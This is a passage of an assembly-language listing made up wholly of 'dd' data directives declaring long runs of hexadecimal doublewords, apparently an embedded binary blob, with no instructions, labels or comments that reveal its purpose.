		dd 0C3A2064Dh, 7B8A89F7h, 10AF6C80h, 0BA753D81h, 12F42900h
		dd 0EBB75814h, 3ED23E69h, 0F810DD27h, 0ED024233h, 908325A2h
		dd 40DC5C3Bh, 179EE131h, 64798107h, 181023EFh, 95097F3h
		dd 0DC1F39F8h, 0AD20F816h, 0A0050EAAh, 62C2884Dh, 7CC058E8h
		dd 0D800D07Ah, 609DF0A1h, 0C4B56C7h, 0CE1027B8h, 82001618h
		dd 5E7883B1h, 0A0B62590h, 9891AEC0h, 0F026095Ch, 2080CFBBh
		dd 2F108E9Bh, 9819A003h, 0DF3669BCh, 2DFC83C0h,	7C4C0DBAh
		dd 43406B3Eh, 40086444h, 6C26DA8h, 1902BBC4h, 0CFB24401h
		dd 0AC6EAFDFh, 0F0BEA884h, 1CC50ED9h, 0F68D0620h, 304355E7h
		dd 0ACDF9100h, 0E2E54A2Ch, 308B32FEh, 0D5025AE8h, 0B6D10CFh
		dd 879C7C84h, 4E084610h, 4B846764h, 700086B4h, 1E21080Fh
		dd 474A3E8Fh, 334E9BB4h, 97F0357Eh, 5E124D47h, 70E293DFh
		dd 0EE483A7Bh, 0E1197C00h, 8B7EF9C6h, 708C8E1Ch, 50305052h
		dd 0E2CE4636h, 72580249h, 0D5E8BD68h, 0AEBCF848h, 64FB1927h
		dd 330E000h, 439404A4h,	1D9067FDh, 4C248031h, 0BB041465h
		dd 0E8006F0Eh, 28F7B649h, 4484Ch, 192FDF7Dh, 10F4C7CEh
		dd 764F0CF2h, 58DBCD12h, 0D7B8F000h, 5D266CAh, 697F62A1h
		dd 0BA83BF11h, 35200EA2h, 66E50A3Dh, 652038F1h,	786A46h
		dd 13318FF0h, 0CD0A742Ch, 0B7284695h, 3F050810h, 5C9D2E04h
		dd 0C0FCCD25h, 0DEDB0780h, 0D0015E0Ah, 43C541E3h, 2468A3BAh
		dd 0D3844F88h, 0E481F7FBh, 209F1620h, 129355Dh,	0D57C71F4h
		dd 0F0D9C5C6h, 67044E29h, 55F28BFFh, 800040A2h,	0EBA3C15Fh
		dd 0A400DAC4h, 6F9923D1h, 0FC2B314Dh, 8ACA009Dh, 0C25BFCB9h
		dd 0F400B236h, 716BF252h, 11E1B7h, 0DD72A0DAh, 6C2AD5C7h
		dd 2575D3Ah, 0EB9ABF52h, 0E434E0E8h, 0F2D100CAh, 17D6328Bh
		dd 3B0079D8h, 0AD9F353h, 1F7F85B6h, 40CCEFD0h, 366476A6h
		dd 0AC60B842h, 0D1B624D1h, 9ECE31C9h, 72F85910h, 87983A80h
		dd 0DC270AA0h, 6631ECh,	4EF9160Ch, 0FB423CD9h, 4F2E69ECh
		dd 520030A8h, 0D8D3ED7h, 0FDC72AEh, 129BDE89h, 188C0B60h
		dd 3033D344h, 0E0071106h, 80109834h, 49005024h,	2BF4853Eh
		dd 79502h, 0F206176Ch, 46A34CEh, 0A828DF6Eh, 47914Eh, 4044340Ah
		dd 1EE788B1h, 0CE295D9Ch, 0A402F2FFh, 4F609060h, 5800FCBAh
		dd 0FB8A67C9h, 34CC6Ah,	0CB229450h, 6B8B2ABBh, 79EE1B07h
		dd 0B9205EE7h, 790113A5h, 2D8D00FAh, 0EDC6419h,	62002872h
		dd 0B886EB89h, 464481h,	0F0AA1E42h, 38EE5B10h, 7262F800h
		dd 88828901h, 4C7E47h, 45A167E4h, 1EA5C571h, 0AE3EFE75h
		dd 0D5A80035h, 92241BC2h, 496B009Dh, 6A6C29BFh,	0A5F8662Bh
		dd 0AA54D903h, 0B8205C8Fh, 13F1F2D8h, 0B2B637h,	0B4811D60h
		dd 5650D019h, 880099ACh, 2BC08D45h, 67E83Ch, 4721E793h
		dd 0C5763EEAh, 0B101697Bh, 8F7A06A5h, 0A9200E58h, 0F38A03E0h
		dd 521B83A8h, 0CCA2E2B0h, 1236DE00h, 0A43EEF45h, 4EC7004Fh
		dd 0C66CBBA0h, 8B7D77BDh, 0B396671Ch, 0ED0EF800h, 238D7Eh
		dd 0A3474137h, 283A6FA1h, 5414D677h, 15F80AD4h,	3EC0D068h
		dd 37BF8027h, 571D7187h, 707500DEh, 0D0B448F4h,	0BB015650h
		dd 5A95EE45h, 0E5D40824h, 52AE0038h, 0B2CDE29Ah, 0B90E94DEh
		dd 20F1A940h, 3F1073ADh, 0AE63064Ch, 18ABA76Dh,	4ABFC000h
		dd 16DD1C9Eh, 39D902E5h, 5C9C1D0Dh, 0D0567C60h,	0F7002FE2h
		dd 4951EB61h, 5D90A2h, 3A761FE0h, 65C303B2h, 94995Ch, 9CA7BF2Eh
		dd 4BF233h, 21E667ACh, 0A583F1F0h, 12160C72h, 0F9002AE5h
		dd 6175B5B8h, 9082EC07h, 0C1AE007Ch, 6E81402Ch,	1800EC86h
		dd 478DE694h, 204F37h, 0C2AC4821h, 1FA0BF46h, 0FAFB2F01h
		dd 5F250EBCh, 88BBC643h, 0DACAF8h, 5794097Eh, 0E3A5212Eh
		dd 0DD3B80E2h, 0EAD480ECh, 96F229A2h, 86C400F0h, 2640BD3Bh
		dd 23070A2Fh, 72A5933Ch, 408057B4h, 7466394h, 0C6562F4h
		dd 708CE7B8h, 0D59EACCFh, 9C680602h, 0C0B3E978h, 0C221B2Dh
		dd 0C7B79A24h, 8F09EA16h, 5AA2979h, 0CDC5B4B6h,	261DF452h
		dd 11976440h, 5A1F9Eh, 790C0E3Eh, 714B1238h, 7BF5700h
		dd 644A55AAh, 0F9680EFDh, 3BA0BB4Dh, 6B39B841h,	0B5082101h
		dd 5FD18B83h, 3C72B083h, 4DB0F605h, 0D00069F0h,	95138A8Dh
		dd 3F934A7h, 5066D639h,	29908C05h, 6304E46Ah, 0D0A63897h
		dd 4FEE8080h, 0F80F00ECh, 927343B5h, 0EF0380FCh, 0B4C9975Fh
		dd 3109D014h, 452939AAh, 9695A500h, 42CACC90h, 397410C1h
		dd 104077B0h, 1C3BE748h, 0C04E6DC1h, 0C651254Bh, 3005971h
		dd 203EE91Fh, 9022369h,	0C94AFE81h, 250B0800h, 0BF04945Bh
		dd 0F5EFA6E8h, 782FFC80h, 5588008Eh, 0B89A5365h, 0E500CAF2h
		dd 4F31CB36h, 990875h, 38B38AD7h, 797312FDh, 0C83EB200h
		dd 0E9A2FC7Fh, 8E6402F1h, 48A92CAFh, 2D441460h,	0A1740A40h
		dd 22FC6FCCh, 79DA00D7h, 0BB4A6C2Bh, 65144070h,	0B42A34h
		dd 0A35712A7h, 118F616h, 2BF317A8h, 8309F1C5h, 38AEF768h
		dd 0BE158879h, 7830FDFBh, 996E004Bh, 0D4C5A849h, 9D00A05Ah
		dd 8AD61E3Eh, 0A9F1F7h,	0F301289Bh, 264B3CCEh, 0F53DC307h
		dd 16D16F02h, 9520C864h, 536D0323h, 0CBD4BBBh, 6C1DB804h
		dd 0FA80384Ch, 0F4594EFh, 0FAF70F21h, 9858AC41h, 40C30EEh
		dd 167E48h, 0BE72F392h,	9C483Ch, 32B4D31Ah, 0F6137383h
		dd 0A6EF7109h, 0CBF880E4h, 25F209h, 0E203EA06h,	4CE5971Ch
		dd 4000A170h, 0E768DA22h, 3EF0176h, 0AE266AC8h,	55A02DD8h
		dd 4500CDA7h, 0BB9FA72h, 343944h, 57A35F15h, 485A78F6h
		dd 7773F33Fh, 0B98FFD00h, 0C4BCF08Dh, 0D7FF3D28h, 250720C8h
		dd 805A2608h, 9DDA4824h, 0E418FC60h, 777D652h, 619EDDFAh
		dd 4F7C103Ah, 40548687h, 9001C1E8h, 2AB273C2h, 83031A1h
		dd 0AC4C0752h, 0AA4D6205h, 75BF00A9h, 461B5E5Dh, 40F06801h
		dd 0B372AC08h, 667CC8h,	1A92BB59h, 0B9F2105Ch, 0C1EA5DEEh
		dd 4A02D800h, 0F3F6FFB0h, 0F50707ABh, 616B0999h, 60F975B1h
		dd 471680A2h, 0BC400CF0h, 561F3BECh, 0C084006Bh, 0F87BCDF9h
		dd 423AEF38h, 61C100BCh, 9AD3F75Bh, 48567F4Ah, 0E0005C81h
		dd 0EDA66E0Ch, 85047505h, 711C321Ah, 0D95DB7C3h, 470965Ah
		dd 0FDFC0034h, 0DD9B12F7h, 8449A53Ch, 99621EA8h, 0A4002293h
		dd 8836C340h, 767472h, 29737787h, 2379698Bh, 7B6F9100h
		dd 46628E21h, 61951326h, 58870141h, 609A1C40h, 0A53F1010h
		dd 8D9E055Dh, 60D048E2h, 742BE8D4h, 11AC1387h, 4A7840CBh
		dd 0CA8E8032h, 9728770Eh, 89378EC2h, 20F18BEBh,	0E38A8C78h
		dd 32050348h, 0A7BEFABh, 2091C4A0h, 9502C578h, 823314E5h
		dd 0E397818Ch, 0A3D8AE6Ch, 0D6CA0058h, 1DD954EEh, 3F00FF03h
		dd 7BFE7384h, 3A2B80DDh, 5D0D164Ah, 0CCA9521Ch,	8A015942h
		dd 150CC5D6h, 8409A8Bh,	60E5CC94h, 7B9B8079h, 5766C8E6h
		dd 3FAD639h, 63E0564Eh,	20A75E4Dh, 0D103314Fh, 1178CA50h
		dd 0F7039281h, 0CCE005DAh, 54179814h, 0D8004FABh, 0AC09080Ah
		dd 24E500EAh, 683C1187h, 0A700C5D5h, 0BE36157Ch, 19C754h
		dd 0D8F6C60Eh, 92DB561h, 1E165700h, 114177C1h, 4E04DF7h
		dd 78A80078h, 0FD562FDEh, 19C0F18Bh, 1C03C742h,	15313EBh
		dd 0D53F1E08h, 0D107BC2Ch, 0F0D87F4Bh, 772488CEh, 0A3BC6F2Ch
		dd 832F1906h, 7D00018h,	853126B1h, 0D3780406h, 37B8731Eh
		dd 8CE69200h, 6CC6F4CEh, 7F581AC8h, 0C4AE9300h,	1CD60F9Bh
		dd 9FCB0F79h, 5407A070h, 281F0611h, 5730C3F8h, 14E185Ch
		dd 9914614Bh, 0F8DD2BFAh, 68CFC48Dh, 1E7AC098h,	0C0ACEEEh
		dd 0F31B93BCh, 8E32D6A1h, 20E2800Ch, 7FA39146h,	0B27B58C3h
		dd 0A80F890h, 33C1188Dh, 0D740180Bh, 0E9BC650Fh, 4CDC8753h
		dd 800D5B82h, 57F67994h, 179B0940h, 274448h, 4AB5A7DEh
		dd 90721C48h, 431382F5h, 458C00DFh, 6C92C790h, 0E8520933h
		dd 0B56CC42Fh, 6D010EF1h, 6E07DF75h, 941C204Ch,	0D2DB4B15h
		dd 127F0DCCh, 82611843h, 2DB04050h, 951607ADh, 30A32162h
		dd 40049AAAh, 9F33F203h, 0E05C3D57h, 29E576h, 2DEDE795h
		dd 0E9BB4397h, 77D458C7h, 590AC46h, 57D09567h, 7B8C0C2Ah
		dd 0C8C07AE8h, 0AF071174h, 5B28C4A3h, 10BCC77Dh, 0EF10CBF6h
		dd 0C7207C62h, 0BFCC08B4h, 99D67587h, 27116CA4h, 2E157101h
		dd 80765A97h, 0A3779943h, 51212C20h, 3C3300A4h,	1293DF4Ch
		dd 10E488D0h, 0C604AC47h, 841746C2h, 3A4A5C8h, 94D0FB38h
		dd 8912EA49h, 6F0D0A92h, 3BEC90A6h, 0F0DD608Fh,	39068CB5h
		dd 10FE4B30h, 0F34CDEh,	8EB402DBh, 0F66A9F86h, 0BF3AE901h
		dd 3D387F77h, 0E06515E4h, 5C71CFh, 954C9B4Dh, 90ED68C4h
		dd 0AA301D01h, 1B501AF2h, 0F35D4h, 49281F8Fh, 0BFCF78DEh
		dd 0E6597E00h, 5ECA0C66h, 256500F6h, 0E9470661h, 17001592h
		dd 19606AFCh, 1FEECBD9h, 40CA435Fh, 0F897EBFAh,	0FC00E69Bh
		dd 448D9355h, 0A854E4h,	8A980AB1h, 0F9EBBADCh, 0B447921Ch
		dd 0E06A484Eh, 6F8DBB55h, 53E507F8h, 85AB6D64h,	0F19A803Dh
		dd 5F005575h, 57A1FDF9h, 0F0A6DFFCh, 0A2FA1EEEh, 0FB32CD54h
		dd 83040A31h, 0CC1D72h,	3570C510h, 0A524327Bh, 0FA627A00h
		dd 20BB1653h, 217200AEh, 0C587DE2Ch, 7864C486h,	2F219128h
		dd 101D12CCh, 51C83D5Dh, 0C37542BDh, 64213924h,	0A929903Eh
		dd 4435A784h, 0D5462B55h, 7CEA79C3h, 89D4BB88h,	6C144151h
		dd 138112C2h, 8D26C9DAh, 0EEBF0079h, 0F98B8333h, 3700DDC8h
		dd 0D73A685Ah, 1CA313B0h, 0AE666Bh, 0ACE248D5h,	100AB31h
		dd 238BDC0Fh, 6B7165h, 4C10C641h, 8EACB685h, 4F379007h
		dd 0DE6A43h, 16B25474h,	0B74D0079h, 0C15747DDh,	0E500E3E8h
		dd 0A14E9C07h, 3E71665h, 3541CD0Bh, 0DB0C9FCh, 3D059FA3h
		dd 5E7FFD18h, 0A0082C5h, 2595BE34h, 8B8F0031h, 73EFCA59h
		dd 0A11D7686h, 87BCBBF9h, 3A278750h, 0D55C190h,	0AD97039Ah
		dd 596F19ACh, 8011103Dh, 0E43FA6ECh, 7D843064h,	0D9C000EEh
		dd 3AAD6335h, 65008E52h, 4683724Ah, 18980512h, 40517F45h
		dd 0F01F62BAh, 9D04C5CDh, 28932F24h, 0F969807Dh, 73BD384Eh
		dd 40A0279Ch, 0B7F843E3h, 0E200A3CFh, 77A6A1BAh, 0C0A5C1EDh
		dd 0B9BD1B10h, 4560EECCh, 0C7BBC70h, 90130011h,	994C9317h
		dd 8F4815CAh, 0DF9E0058h, 0E89CA6D5h, 0BF580EB2h, 5A00D7FFh
		dd 8E8574E0h, 33A35400h, 827ED6A0h, 1C760018h, 3DACEC07h
		dd 2A7956E2h, 0B043EF00h, 0A169C5B2h, 8B100D7h,	26D1A3E0h
		dd 0C3F6C738h, 76FA0C00h, 0B8F21D45h, 93910074h, 4C2FB617h
		dd 4378C133h, 4AFFAB00h, 0F9252CCBh, 36E46Dh, 72B741CFh
		dd 4D450882h, 5D555B00h, 5F24ED2Bh, 27EA002Ah, 46AE9E4Bh
		dd 4D1EBF6Bh, 0EB001C4Eh, 1A76C841h, 5AA8A038h,	6AD20074h
		dd 0B3701B6h, 887C9815h, 0F2467300h, 53ECD64Ah,	3E7517E9h
		dd 80751F0Dh, 493DF6E5h, 0A0019CC2h, 337AEEAh, 8DC56053h
		dd 156BF8h, 0AA96829Ah
		dd 0F25CF7DFh, 0BC8A4100h, 7F9E897h, 0B7A90057h, 9DB08254h
		dd 3B5CBF06h, 15A515F6h, 85D400D8h, 9E021A81h, 0EF2C3F8Bh
		dd 0CFCB0980h, 9541E4B9h, 33BB2402h, 415E1D62h,	0D5C49218h
		dd 0F211EC36h, 0FFB32065h, 7DEA3D00h, 5A16D204h, 0BEB761Eh
		dd 6862517h, 9CF73F81h,	53A2FC2Ah, 6113AE0Ah, 0DC00D89Bh
		dd 6C58CDF5h, 7CC00CC8h, 9E18988Dh, 9A8EF900h, 9B973A94h
		dd 0F0100220h, 8C458F3h, 7B8B040h, 0D2625F00h, 8B6F90C6h
		dd 0CF680E21h, 2521CCB5h, 80DF056Ch, 26FB2DEEh,	50E788E5h
		dd 898491h, 0D3933ECEh,	31240E79h, 671D4F03h, 0E872BA27h
		dd 1F7FD7B9h, 87BEF4BFh, 0C04CD505h, 0F8E14E45h, 0AB18EB03h
		dd 876DC0A7h, 0EDDC54C0h, 59FF00E9h, 0C80D09FDh, 5F1F0A58h
		dd 0FA0076E5h, 7A4FA710h, 0CE0B0047h, 0A523E782h, 9114B351h
		dd 0EA0B07Dh, 72B226h, 0AFCF4D3Ah, 2EEB0090h, 9240FF4Ch
		dd 2F1E5CE0h, 0D80086F7h, 8459BDE8h, 5D7943h, 1836A296h
		dd 42C903C4h, 0BAC7D902h, 0E0BC5016h, 0E30DCA6h, 0E5625141h
		dd 0F6E64800h, 0BA3CA1E4h, 5F00FD0Ch, 0CA5B7FB1h, 70511A8h
		dd 210D43BFh, 9FFC044h,	0FC00E320h, 3616D1Dh, 92FDEA0h
		dd 392A8873h, 0ED5B8CB9h, 68803466h, 5E00BC90h,	0A46DECD1h
		dd 32C6C13h, 778ABBDh, 95EF65D3h, 3303C0DBh, 0F40528F5h
		dd 913F09C1h, 3CA2A4C0h, 0C28901FCh, 0DB1738ECh, 88C8D285h
		dd 7092F894h, 1D25CA14h, 0A5E201E0h, 1EE1148Fh,	432C1080h
		dd 0BEF57D85h, 477E880Fh, 0AD40FE20h, 0D4E0B14Bh, 796603E5h
		dd 0D58FB52Ch, 3308EE88h, 0E27D60C3h, 0C2C93D42h, 5583B10Dh
		dd 0A0642058h, 0A3FD6101h, 0E16214AFh, 5C0B8C20h, 932481F9h
		dd 5BE500ACh, 0BBF52F91h, 0A54A3C00h, 17EE1B2Bh, 3B9E7866h
		dd 2843F19h, 80E2CD69h,	74C82B78h, 0F9F8B201h, 0FFB59388h
		dd 55F4D0h, 0B0AF03ECh,	76EADF60h, 0C7F22E0Fh, 1B56ED3h
		dd 0E8043BD2h, 0F25A470h, 1F11DB7Ah, 62800073h,	0D531F487h
		dd 0A0808B01h, 0C4301701h, 3E3BD820h, 2E8296EFh, 0C88FAA29h
		dd 0FCD88140h, 2C47A106h, 3D8B051h, 0E6B106A6h,	1000BA9Ch
		dd 48EC1360h, 1CBFE391h, 0C0CEDF84h, 12BB01B7h,	271CC818h
		dd 6140097Eh, 0AC5E2556h, 0F70B003Fh, 52877BEEh, 8C2CE6BAh
		dd 610B1053h, 6B382740h, 0FC132F87h, 2459E909h,	901034h
		dd 2E27CA30h, 1B87E6FFh, 6AFEF0E1h, 8BD0C654h, 923B7A12h
		dd 7CB3EC02h, 89560ABh,	0A0627FDCh, 1424CD8h, 788A3C57h
		dd 8B45D80Dh, 1DA2719h,	0A6F3B834h, 8D6ADC40h, 9FD30088h
		dd 4C837344h, 0A0C0F826h, 16F93864h, 0B0E0703Dh, 5C7A0308h
		dd 7F6FC3BAh, 22A9B901h, 2D9E8F05h, 10A1096h, 0A7F00DABh
		dd 566080B9h, 0FF7B50D1h, 3C21F4AEh, 30808D49h,	0B6DF1B9Fh
		dd 0BE05162Bh, 8E5F3B2Ah, 0AA97E002h, 0D0904093h, 0E86E48E5h
		dd 0B3ABB401h, 80DE36EFh, 0CAFEBA48h, 4C5ED77Ch, 3F263874h
		dd 2B803892h, 0C05AECB9h, 0B24C0198h, 0A6121C34h, 0C177C440h
		dd 8B5102h, 6DF362DFh, 97A4C804h, 3A2B2300h, 0A11CFC6Ah
		dd 7CA81695h, 0DB544040h, 8C37E85Eh, 7D8DBE38h,	34240126h
		dd 4654080h, 2AF36C51h,	11D01159h, 1F3A73B8h, 0E74EA3ACh
		dd 0A2DE402Bh, 7E32F3E6h, 0DC2205B9h, 3B0E34Fh,	7B168294h
		dd 0E4DE91C0h, 0D91270F9h, 0C680FA00h, 0A547C03Fh, 63CE0355h
		dd 0AC1FE507h, 898021BAh, 6029BE82h, 58EA1B24h,	40CB980Eh
		dd 5ACF30A4h, 0C8FCA34Ch, 7C01D3CAh, 33D517A1h,	0FB1CCDh
		dd 0E258F2FAh, 0A3043CE9h, 41CAC395h, 0D4CEC3FEh, 5712C2A0h
		dd 9F7F5800h, 1BFD88D9h, 47382582h, 0D650C002h,	8520A044h
		dd 1AE6B2h, 3E34E8F5h, 74C12AD2h, 542D4D0Bh, 0E49C20C9h
		dd 3CD9CD70h, 0A028C611h, 50DC0B80h, 90A188E9h,	0FE8C76B0h
		dd 0BFF2F9E0h, 70935333h, 0A93FE8E7h, 0B060003h, 0AA64188Eh
		dd 0BF01B86Fh, 2663491Fh, 77DC21BDh, 659F00E0h,	87FE8173h
		dd 57072CD4h, 0B3C633A5h, 0E3759320h, 6E17C92h,	0A88BBAE9h
		dd 3400986Ah, 0EF96685Eh, 30D8FC1Eh, 95D8B724h,	0D203BE0Bh
		dd 0B36D66DEh, 0C898C16Fh, 0B545DB40h, 0C971007Ah, 0D0BCCE79h
		dd 977668C0h, 0B25A9900h, 0CB1B5047h, 8AFC66h, 0C4AA6FA6h
		dd 1532B930h, 5487BE00h, 195CE9CDh, 0C7A700E6h,	21896056h
		dd 0B67BFA77h, 62FCAB00h, 2231F8F7h, 80E139FDh,	60A31380h
		dd 0C51BF9Dh, 9800A973h, 0BD69C719h, 5EC80Fh, 0A818A052h
		dd 0EFB4D629h, 6E015578h, 4D2CFD2Ah, 0E6F04158h, 3C622649h
		dd 2018174Ch, 1F39CAA4h, 0CF042CB0h, 0A803B811h, 6EAF88D0h
		dd 0D82405DCh, 8338FFF3h, 44E90AD8h, 1F01D47Bh,	0C463D07h
		dd 2BE4FB80h, 3A1088C0h, 2ECA0076h, 39FCE74Fh, 0A0DF60Eh
		dd 58260CB1h, 34A29800h, 38A800CDh, 0BF21563h, 2902BBB9h
		dd 0CD8CFC8h, 560DC0D6h, 3DF058A8h, 97B08405h, 28B80018h
		dd 0F19D7159h, 0A377AF00h, 0CC5A37ADh, 0F4E648h, 0E188786Bh
		dd 8F1E0674h, 861BD426h, 2A9ED14h, 0CA129141h, 0A61961FEh
		dd 0AED8A9C9h, 0F09A0072h, 5E5004A4h, 331C2794h, 10801607h
		dd 0CE474C7Dh, 0D35D163Ch, 0C0771D6Ah, 446E28BBh, 8F0049C1h
		dd 0A4437651h, 71CBACh,	0E49CCEA7h, 147693Eh, 54D1FF00h
		dd 0C1877F5Bh, 70DFC78h, 0B36B72D3h, 989BF1C2h,	0FAECF869h
		dd 0EDF35019h, 79D0D819h, 157AA1h, 0A78930E7h, 5AEFAB27h
		dd 0E6007990h, 2CDE48D9h, 1349593h, 1E09CD05h, 0E0D7908Eh
		dd 891B4EC5h, 0D898C332h, 0C103AEh, 6F9D7342h, 66A96CE4h
		dd 37F2F013h, 0C4E55001h, 0DA205289h, 4D1A0042h, 0A4B6E61Bh
		dd 2E001E9Bh, 8E45CC7h,	1FA6BA7Ch, 40AC1507h, 62A9B550h
		dd 2F09D064h, 31B4DBh, 0BF0D489Ch, 3C4B0038h, 8E3EA3E3h
		dd 0CA00649Bh, 0B768DF8Dh, 0D2BC31h, 0D045B086h, 59630812h
		dd 0BB2BB801h, 0BE647189h, 1DC31DFCh, 0CC2A235Fh, 3A58B2EFh
		dd 60DCA100h, 4759D340h, 9553009Ah, 49BC1BBh, 2900DF39h
		dd 327F9944h, 60CE13h, 0C07ECDB1h, 529DF911h, 3CA3BF00h
		dd 0B9639CD7h, 77A000DBh, 0BA4B2A85h, 0B4000D84h, 9F88C7E8h
		dd 165E26D4h, 0FADFE45h, 8E8054C0h, 0A501AA9Ch,	4A820800h
		dd 534BBCCCh, 0D4990034h, 0BF8C95B8h, 4400EFF1h, 1CDB5EFEh
		dd 24B2CDh, 6FE13AE7h, 6EB57A2Fh, 0B3143D03h, 0F0A0A977h
		dd 1E23311h, 0C47D7251h, 28D98EE9h, 0BC3F250Ch,	0A035207Ch
		dd 79A8AF00h, 5CD5E1DAh, 4A1E128Eh, 2A2480A6h, 5624B82Dh
		dd 0E11E18FCh, 3FFE9247h, 6C97DC61h, 2E5273ECh,	0A090BF29h
		dd 5DA51DA7h, 66E1C138h, 604B2B72h, 70097534h, 80B6CCB9h
		dd 0BE7A6BE4h, 0B2A7016Ah, 5E320B04h, 2728DCB4h, 0ECA578C0h
		dd 604735h, 0E2454BEh, 2E3CB098h, 0AA6784E6h, 0DCF06312h
		dd 0C83C733h, 0A88CDE68h, 0A02620D0h, 0F700619Ah, 0A18EE616h
		dd 0A0B89Fh, 958BF1D6h,	0D18A298Dh, 0DDE79600h,	424D6191h
		dd 144780Eh, 0F2F45E7Fh, 0F825A955h, 400788Fh, 5285C1A2h
		dd 581657C3h, 9B0000F5h, 36CC8161h, 5B001001h, 0AA2A961Ch
		dd 17E26C9h, 0EB39496Ah, 744AA5F3h, 0A4FFFECh, 0C6472440h
		dd 7D2C24h, 0C7D75B55h,	0BBF15A8Dh, 85983F50h, 0B22E011Ah
		dd 6D7061AEh, 0A2A860h,	89E24310h, 0F5E6F641h, 67946E00h
		dd 833DA788h, 71662EB3h, 6F25050Ch, 0F788009Fh,	62A28031h
		dd 37500978h, 3E0036B0h
		dd 9803924Bh, 5E8CCEDh,	6B998941h, 0ADE0D073h, 3FE6C726h
		dd 0C80B5Ch, 0E2EF8A84h, 609B6C48h, 0DAA3D0C2h,	4F03B727h
		dd 0DB0E4C34h, 7A6EF888h, 4CACB22Bh, 7800DC52h,	2AE19663h
		dd 430F35E7h, 21D7C6C0h, 0FC75A755h, 0B9B8C8h, 9D1951EBh
		dd 5EBF4F37h, 863CF0FAh, 41E68066h, 557AAC63h, 901B502Fh
		dd 5D741E79h, 52DF40C8h, 726E138Ch, 281EE1E2h, 0F2404193h
		dd 29D9843Dh, 6FBC074Dh, 31E5CEF4h, 80730380h, 9B0EDA91h
		dd 1D661E77h, 4056C42Bh, 3AAB38E9h, 0CAE83313h,	0D9793D01h
		dd 76A5A958h, 1C1A08F8h, 819635D8h, 13735BECh, 2B8840C1h
		dd 3D006FA1h, 9814BDD4h, 60B41E62h, 5D4F70F6h, 0EA73DBB7h
		dd 6BFA4BF0h, 0BD6F7D0Eh, 5F4DE0C9h, 1C20B21Fh,	25C85FDh
		dd 93D872C1h, 0E60788A1h, 3038FCh, 0A9D54696h, 125AC8FBh
		dd 0F306F83h, 47A00630h, 0DB3D65D6h, 17C1770Eh,	0A321403Bh
		dd 0F82B6E7h, 1E55C54Bh, 8C42F3E0h, 627352E6h, 0F80B657Fh
		dd 82747h, 9CD5B98Fh, 33830039h, 3ABE9A15h, 50B4E116h
		dd 0AC29DB00h, 64FC3194h, 804D2061h, 17D68134h,	7FEDEA04h
		dd 2CA5F521h, 710C60D2h, 0A09EA3h, 4A7E7581h, 7A00CDB8h
		dd 95388528h, 0EFFA642h, 0FCACD563h, 0D94D9380h, 480012D8h
		dd 130561D6h, 33A6BD0h,	5D32EC83h, 1A0D5DDh, 0AE5C7625h
		dd 1FFF00D4h, 8CC670C8h, 59CC001Ah, 95BF4E91h, 0DB14D9F8h
		dd 12D4FC85h, 370002E9h, 0A6E00F13h, 9ED50247h,	0ECCF9367h
		dd 8E94560h, 41F7B713h,	0BA056C00h, 0EC84321Dh,	0D46B0014h
		dd 869094FFh, 8800456Ch, 0F4F11EC1h, 916760h, 0F718B792h
		dd 497A7D42h, 0C871D600h, 0D86BAB48h, 50EC0047h, 42097840h
		dd 5F007090h, 56588FA5h, 0C4DC07h, 51F9437Bh, 0B25CE3E1h
		dd 0FF2A400h, 0DDD03132h, 8904CDBh, 0F4295F07h,	827F5123h
		dd 0DCDAED07h, 390030E6h, 0A1DBC2D4h, 375874h, 0DD1559F1h
		dd 7F77FEEAh, 80A44F00h, 6A39AD1Dh, 821000BEh, 156B0A1Ch
		dd 31FBAE9h, 0BF84E126h, 5CB080AEh, 8F36007Eh, 24CA91EBh
		dd 0F73BDBF3h, 0C4A8D482h, 0A5DF9607h, 92AEB868h, 0FDDC3C90h
		dd 3C8B592Ah, 586DE301h, 0E421F832h, 0D1491633h, 45660920h
		dd 94540799h, 285E8EE0h, 0D6821C1Eh, 35A4D5h, 1348BF85h
		dd 0A9009FCCh, 0A2665D79h, 571C19h, 0F1E6D002h,	47946551h
		dd 0EB1BF1Ch, 0A252D1DEh, 1FCC8100h, 0E95EA5h, 0B0AB5039h
		dd 32915CFDh, 3FB61B00h, 443E2ED0h, 0A0110EE0h,	1FA0BD61h
		dd 0C81814D9h, 0C720E718h, 0B511BE8h, 0EDC42D9Fh, 0E4CE7CA1h
		dd 10F231E9h, 0A61A8BACh, 0E099DF0h, 310AD5Bh, 0F87D3BA7h
		dd 0ED1E20Fh, 318C75EDh, 0E1086521h, 0C8F021A3h, 0E32AECD6h
		dd 72F4B87Dh, 0EA01C49Ah, 0B8955F58h, 0D0401980h, 1FCD560Bh
		dd 7662D7h, 939B1B01h, 0F000806Ah, 0AF7B5113h, 908B8760h
		dd 3F330014h, 93CFFEB8h, 74005266h, 14B207F0h, 761E984Dh
		dd 387BAFh, 613DE50Bh, 43D2FFB1h, 0AB005376h, 1DBEF1DCh
		dd 4249206h, 4F1E3756h,	5170235h, 571360BDh, 5AD50384h
		dd 230D06F4h, 0C0289AA0h, 14528E18h, 25190C9h, 3B820ACh
		dd 0ADC0B61Eh, 509E8576h, 93CCA681h, 8AC4F817h,	0C2C70FFAh
		dd 2F8082A8h, 4D92974Fh, 0C8FB3724h, 96A803Eh, 0C694A757h
		dd 0B2320042h, 0E17C26B7h, 1C0089B9h, 289E18F8h, 0D8CE1Ah
		dd 80C07734h, 0CD7A27AEh, 66F8F00h, 1EA3486Dh, 0CB402BDh
		dd 344426DEh, 6E09DCD8h, 83D10902h, 805E9B11h, 93BFB7h
		dd 2EE05988h, 8ADE4B3Ah, 0CAF06700h, 766DEA41h,	211E0FA0h
		dd 0C6E090ADh, 0BF58A934h, 0E4412418h, 1CB909B8h, 0C3AF51C8h
		dd 2EFCE9A3h, 1BA8A6F8h, 6CB26A1Fh, 0BBA0D284h,	21C2A8C4h
		dd 7F48404Ah, 179D2C84h, 1338037Ch, 7CEA9F72h, 0EA8C175h
		dd 721F874h, 4AA1260h, 2255E0CFh, 290E1CCCh, 0A00A87E4h
		dd 8809FD03h, 7B0E0749h, 3245C5AEh, 0D080153Fh,	0E7726269h
		dd 6D48D200h, 0C7E34910h, 1E8011Ah, 0C6D43A3Ch,	0FEB0DF38h
		dd 0CC1C3335h, 3F7A9648h, 0BAE18E5Bh, 7AFB212Ah, 10854237h
		dd 0F23878h, 0EFFF41CBh, 0E6005FECh, 0DAB01FD6h, 0DDEDC5h
		dd 80BF8374h, 6FEB9FA7h, 3104902h, 8464753Ah, 0CA0DBFCh
		dd 7C11C0C9h, 84D28F43h, 4201189Eh, 0BF6198DCh,	0E4775960h
		dd 94455936h, 89EE9A00h, 1F070370h, 0F9B73428h,	98066A00h
